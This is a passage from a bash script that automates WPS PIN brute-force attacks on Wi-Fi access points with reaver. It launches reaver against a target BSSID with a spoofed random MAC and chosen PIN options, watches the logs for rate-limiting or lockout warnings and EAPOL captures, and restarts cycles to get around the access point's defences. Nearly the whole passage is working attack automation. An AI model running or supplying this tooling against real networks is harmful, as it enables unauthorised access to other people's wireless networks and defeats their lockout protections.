# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE7-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME7-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME7-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP7 (ESSID: $NMEWARN7)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME7-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP7 (ESSID: $NMEWARN7)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R7 == n || $USE_R7 == N ]] && [[ $USE_LONG7 == n || $USE_LONG7 == N ]] && [[ $USE_PIN7 == y || $USE_PIN7 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME7"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL7"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP7"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE7 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME7-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL7 -b $TARGETAP7 -vv -x 60  --pin=$WPS_PIN7 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME7-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE7-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME7-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME7-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP7 (ESSID: $NMEWARN7)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME7-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP7 (ESSID: $NMEWARN7)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R7 == y || $USE_R7 == Y ]] && [[ $USE_LONG7 == n || $USE_LONG7 == N ]] && [[ $USE_PIN7 == y || $USE_PIN7 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME7"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL7"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP7"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX7" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY7"
echo -e "$info Reaver live time                   = $yel$LIVE7 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME7-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL7 -b $TARGETAP7 -vv -x 60 -r $RX7:$RY7 --pin=$WPS_PIN7 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME7-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE7-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME7-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME7-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP7 (ESSID: $NMEWARN7)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME7-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP7 (ESSID: $NMEWARN7)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R7 == n || $USE_R7 == N ]] && [[ $USE_LONG7 == y || $USE_LONG7 == Y ]] && [[ $USE_PIN7 == y || $USE_PIN7 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME7"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL7"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP7"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE7 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME7-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL7 -b $TARGETAP7 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN7 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME7-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE7-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME7-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME7-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP7 (ESSID: $NMEWARN7)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME7-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP7 (ESSID: $NMEWARN7)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R7 == y || $USE_R7 == Y ]] && [[ $USE_LONG7 == y || $USE_LONG7 == Y ]] && [[ $USE_PIN7 == y || $USE_PIN7 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME7"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL7"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP7"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX7" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY7"
echo -e "$info Reaver live time                   = $yel$LIVE7 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME7-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL7 -b $TARGETAP7 -r $RX7:$RY7 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN7 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME7-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE7-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME7-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME7-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP7 (ESSID: $NMEWARN7)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME7-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
